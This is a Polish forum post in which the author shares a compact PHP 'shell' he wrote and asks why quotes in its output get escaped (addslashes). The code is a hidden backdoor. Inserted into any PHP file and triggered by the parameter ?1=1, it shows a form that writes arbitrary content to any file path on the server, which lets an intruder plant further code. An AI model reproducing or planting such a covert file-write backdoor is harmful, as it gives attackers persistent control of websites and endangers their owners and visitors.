cze, zrobilem sobie shella, bardzo faniusi, mozna go bez przeszkod wstawic do kazdego pliku php i uaktywnic przez odpowiedniego GET'a np. "?1=1"
Kod:
<?
if($_GET['1']==1){
$a=trim($_POST['a']);
$b=trim($_POST['b']);
if(empty($a)and empty($b)){
echo'
<form action=""method="post">
<input type="text"name="a">
<textarea name="b"></textarea>
<input type="submit"value=""></form>';}
else{
$x=fopen($a,"w+");
fwrite($x,$b);
fclose($x);
}}?>
271 bajtow
Wszystko niby O.K, ale niestety... kiedy do tresci pliku wpisuje znaki specjalne ( " ' ) wykonuje sie kochane... addslashes() ( /" /' ) czy przyczyna jest to, ze musi sie tak stac, zeby skrypt ten mogl sie bez bledow sie wykonac i przypisac do zmiennej taki ciag znakow? czy moze powod lezy gdzie indziej, jest na to jakas rada?